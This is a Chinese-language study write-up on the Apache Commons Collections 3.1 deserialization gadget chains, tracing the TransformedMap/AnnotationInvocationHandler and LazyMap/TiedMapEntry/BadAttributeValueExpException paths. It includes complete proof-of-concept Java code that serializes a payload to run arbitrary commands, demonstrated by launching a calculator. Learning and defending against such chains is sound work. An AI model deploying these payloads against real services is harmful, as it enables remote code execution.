Apache Commons Collections 3.1链初探

前言

Commons Collections利用链简称CC链,是Java反序列化学习中的重要一环。

本文初探最开始的一条链子,进行分析。

环境搭建

jdk1.7.080 + Apache Commons Collections 3.1

jar包可以在mvnrepository找到,https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

使用网上公开的payload编译运行,弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class EvalObject {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"mate-calc"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}

接着就要分析利用链

InvokerTransformer.class

这个漏洞产生的根源在于org.apache.commons.collections.functors.InvokerTransformer类中,存在这样一个反射调用的方法

image-20220306101448-wzum3gl.png

不难看出,如果我们控制了这四个参数,利用反射,我们就可以调用任意方法,执行任意命令

input参数不必说,为传入的对象

iMethodName为获取的方法名称,iParamTypes为获取的方法参数类型

iParamTypes为调用方法时的参数

构造方法中可以直接传入

image-20220306101853-0asjzwi.png

如此我们可以测试一下:image-20220306102341-sp8f9s2.png

但是这只局限于本地,要在远程,反序列化后调用恶意方法,得修改代码,因为远程不可能有最后transform调用传入Runtime实例的这一行。

ChainedTransformer.class

Runtime 类并没有继承 Serializable 接口 , 因此我们无法直接传入实例对象

对此,采用通过 Java 反射机制来构建 java.lang.Runtime.getRuntime().exec() 方法调用链

但是要拿到Runtime实例要调用多种反射方法

因此要调用 getMethod() , getRuntime() , exec() , invoke() 这四个方法

org.apache.commons.collections.functors.ChainedTransformer类中,构造函数能传入一个transformer数组,然后transform方法会便利这个数组,调用数组中每个元素的transform方法,然后把获取到的方法返回,递归作为下一次transform方法的参数

image-20220306104500-qq6ctvk.png

我们就可以利用这个类来创建反射调用链

1
2
3
4
5
6
7
8
9
org.apache.commons.collections.Transformer[] transformers = new Transformer[]{

//获取到Runtime.getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用getRuntime,获取到Runtime类
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

ConstantTransformer.class

如何在开始获取到Runtime实例对象,来getMethod,ConstantTransformer.class类中提供了方法

image-20220307093339-lqwbyhx.png

可以在构造函数里传入Runtime对象,然后ConstantTransformer.transform会返回它

就可以这样构造

如此一来,无论transform方法中传入什么参数,都将执行我们构造的恶意链中的内容

image-20220307093614-mqbkb82.png

攻击链

上面虽然成功构造了反射命令执行链子,但是仍需要手动触发transform方法,实际情况中很少,所以要解决这个问题

我们想要在反序列化,也就是readObject方法的时候就调用恶意链,根据上一章,我们可以中重写此方法,实现defaultReadObject()方法,添加恶意功能,他仍然能被正常序列化和反序列化.

综上所述,

要在一个重写了的readObject方法中找到transform方法,且调用这个方法的实例可控。

TransformedMap 攻击链

主要围绕org.apache.commons.collections.map.TransformedMap类

简单阅读下这个类信息

checkSetValue中调用了transform方法

image-20220307095802-ieq9fmc.png

this.valueTransFormer可以在构造方法的时候传入,我们可控!

image-20220307095912-ajqul2v.png

它的构造方法是私有的,通过调用decorate方法返回一个新的TransformedMap类

image-20220307100321-fsqthc6.png

因为decorate方法第一个参数要传入一个Map类型的对象,直接创建一个hashmap是最快的方法

1
2
3
4
5
//初始一个hashmap
HashMap map = new HashMap();
map.put(null,null);

Map outMap = TransformedMap.decorate(map, null, chainedTransformer);

这样就调用了decorate方法

下面问题就是怎么调用checkSetValue方法

AbstractInputCheckedMapDecorator$MapEntry.setValue()

这个类是TransformedMap的父类

其中静态类MapEntry的setValue方法调用了我们的目标方法checkSetValue

也就是说要调用setValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}

将this.parent指向TransformedMap实例对象,就可以调用目标方法

然而这个静态类的构造函数也是私有的

AbstractInputCheckedMapDecorator$EntrySetIterator.next()

静态类EntrySetIterator中的next方法调用了这个构造函数,返回MapEntry实例对象

这就是我们要找的,用来调用上面setValue的对象

image-20220307102335-k93svzi.png

因为构造函数中的this.parent我们还是不可控,所以继续更进

来自于EntrySetIterator()中,更进看哪里调用了这个构造函数

AbstractInputCheckedMapDecorator$EntrySet.iterator()

可以看到在EntrySet静态类中的iterator调用了上面的EntrySetIterator(),它返回一个AbstractInputCheckedMapDecorator$EntrySetIterator实例对象

但是同样this.parent还是不可控,继续更进

image-20220307102840-vbi5evz.png

AbstractInputCheckedMapDecorator.entrySet()

image-20220307153158-3fuixr7.png

这里会根据 isSetValueChecking() 方法的返回值决定是否调用

AbstractInputCheckedMapDecorator.EntrySet() 方法 ,返回上面我们需要的对象

抽象类AbstractInputCheckedMapDecorator是TransformedMap 的父类

因此这里我们可以直接将 this 指向 TransformedMap

也就是用TransformedMap对象直接调用entrySet方法

最后是isSetValueChecking()方法,它要返回一个true

image-20220307161309-3m83aem.png

略过

总结TransformedMap攻击链

这样一来利用链就到头了

我们不需要直接调用transform方法,只要通过entrySet=>iterator=>next=>setValue就可以调用到transform方法

而我们一开始调用entrySet的对象,是我们可控构造的TransformedMap对象,里面包含了可控的,上面构造的反射调用链子

这样一来便可以达到我们的最终目的:在下面重写readObject,反序列化的时候就可以自动触发攻击

image-20220307184540-fonjrqr.png

1
2
3
4
5
//初始化TransformMap,传入构造的反射执行链
Map outMap = TransformedMap.decorate(map, null, chainedTransformer);
//触发漏洞
Map.Entry next = (Map.Entry) outMap.entrySet().iterator().next();
next.setValue("xianbei");

image-20220307190628-o5uyrjb.png

sun.reflect.annotation.AnnotationInvocationHandler

现在的目标:找到一个重写的readObject方法,里面调用到了setValue(),也就是上面反序列化链子的入口

jdk1.7的sun.reflect.annotation.AnnotationInvocationHandler类的readObject()中调用了目标方法

image-20220307202856-l81uvlp.png

对这个方法进行分析,自己先看了一下发现,原来自己的分析方式有点不够好,这里跟着大佬的分析方式走

1.

我们的目标当然是调用 AbstractInputCheckedMapDecorator$MapEntry.setValue()

首先有这几个条件:

var5为AbstractInputCheckedMapDecorator$MapEntry

Entry var5 = (Entry)var4.next();

所以只要让var4为AbstractInputCheckedMapDecorator$EntrySetIterator即可

var7.isInstance(var8)为false且var7!=null

B.Class.isInstance(a):

a 是否能强转为 B 类型

var6为var5的键值,var7为(Class)var3.get(var6)的返回值

var8是var5的值

var8 instanceof ExceptionProxy为false

2.

接着往上看var3和var4

1
Iterator var4 = this.memberValues.entrySet().iterator();

我们希望this.memberValues指向AbstractInputCheckedMapDecorator下的Transformer类

1
Map var3 = var2.memberTypes();

跟进memberTypes方法

1
2
3
public Map<String, Class<?>> memberTypes() {
return this.memberTypes;
}
1
this.memberTypes = new HashMap(var2.length + 1, 1.0F);

因此var3是一个HashMap,这样也就可以得到(Class)var3.get(var6)调用的是Map的get方法,也就是复制

3.

var2

1
var2 = AnnotationType.getInstance(this.type);

所以现在要确认的就是

this.type,和this.memberValues

跟到构造函数中

image-20220307210357-0iai9k9.png

var1是个注解类,可以传入java.lang.annotation.Retention

var2为Map类型,可以传入TransformedMap实例对象

构造AnnotationInvocationHandler.AnnotationInvocationHandler()

1
2
3
4
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
constructor.newInstance(java.lang.annotation.Retention.class,outMap);

断点调试,可以看到

image-20220307212430-yfht9sw.png

4.

image-20220307213755-iwy8gr6.png

因为特定了键值为value,所以构造HashMap的时候要指定键值为value

完整反序列化poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class EvilTest1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
//获取到Runtime.getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用getRuntime,获取到Runtime类
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//初始一个hashmap
HashMap map = new HashMap();
map.put("value","2");

//初始化TransformMap,传入构造的反射执行链
Map outMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);//开放构造器访问权限
Object exp = constructor.newInstance(Retention.class, outMap);

ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bout);
oos.writeObject(exp);
oos.flush();
oos.close();


ByteArrayInputStream in = new ByteArrayInputStream(bout.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
Object o = (Object) ois.readObject();
}
}

LazyMap攻击链

LazyMap.get()

org.apache.commons.collections.map.LazyMap类中的get方法,其中调用了transform方法

image-20220308015633-d90jogg.png

且this.factory可控,还是TransFormer对象

image-20220308015818-nqdozu7.png

因为get方法是public类型,所以直接可以构造利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class EvilTest2 {
public static void main(String[] args) {
org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
//获取到Runtime.getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用getRuntime,获取到Runtime类
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap map = new HashMap();
map.put(1,2);

Map lm = LazyMap.decorate(map, chainedTransformer);
lm.get("xianbei");
}
}

因为暂未找到在readObject方法中调用get的类,所以跟踪get方法的调用栈,看哪些方法调用了get,并且他们有可能在readObject中被调用

TiedMapEntry.getValue()

image-20220308020444-nthp1e5.png

可以看到getValue方法中调用了get,this.key也由构造方法中传入,我们可控

将this.map指向上面的LazyMap实例对象即可

TiedMapEntry.toString()

image-20220308033859-dq9ssky.png

这个类的toString()方法中调用了getValue,我们只要将this指向TiedMapEntry即可

javax.management.BadAttributeValueExpException.readObject()

image-20220308034152-8nduzjh.png

javax.management.BadAttributeValueExpException类的readObject方法调用了toString()

我们把valObj指向上面的TiedMapEntry就可以触发

逆推看看valObj是咋来的

gf.get(“val”, null)就是拿到反序列化类中的val属性

val是BadAttributeValueExpException的一个私有属性

image-20220308034523-lsxt49z.png

因为我们想要控制的这个val是个私有属性

可以通过反射对私有属性赋值

1
2
3
4
5
6
7
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
BadAttributeValueExpException ins = new BadAttributeValueExpException(null);//创建实例对象
Field val = ins.getClass().getDeclaredField("val");//拿到BadAttributeValueExpException类的Field中的val属性
val.setAccessible(true);//设置访问权限为true
val.set(ins,tiedMapEntry);//修改ins实例对象中私有属性val的值为上面构建的TiedMapEntry

这样就构建完成了,接着把ins进行序列化反序列化看看能不能触发

image-20220308035447-qgsqcmt.png

成功成功

这条链子相对来说比上面哪个要简易一点

总结

  1. 反序列化漏洞:一般是触发点,在重写的readObject里有特定方法,为整条链子的入口
  2. 反射调用方法是最根本的漏洞成因
  3. 对于实例中的操作,要熟用反射
  4. 对于java的一些知识还需要进一步学习,反射,io,动态代理,Map,强转类型时候的细节,注解
  5. 还是要细心

参考

https://www.guildhab.top/2020/06/java-rmi-%e5%88%a9%e7%94%a84-%e6%9c%80%e5%9f%ba%e6%9c%ac%e7%9a%84%e4%b8%a4%e6%9d%a1-apache-commons-collections-pop-gadget-chains/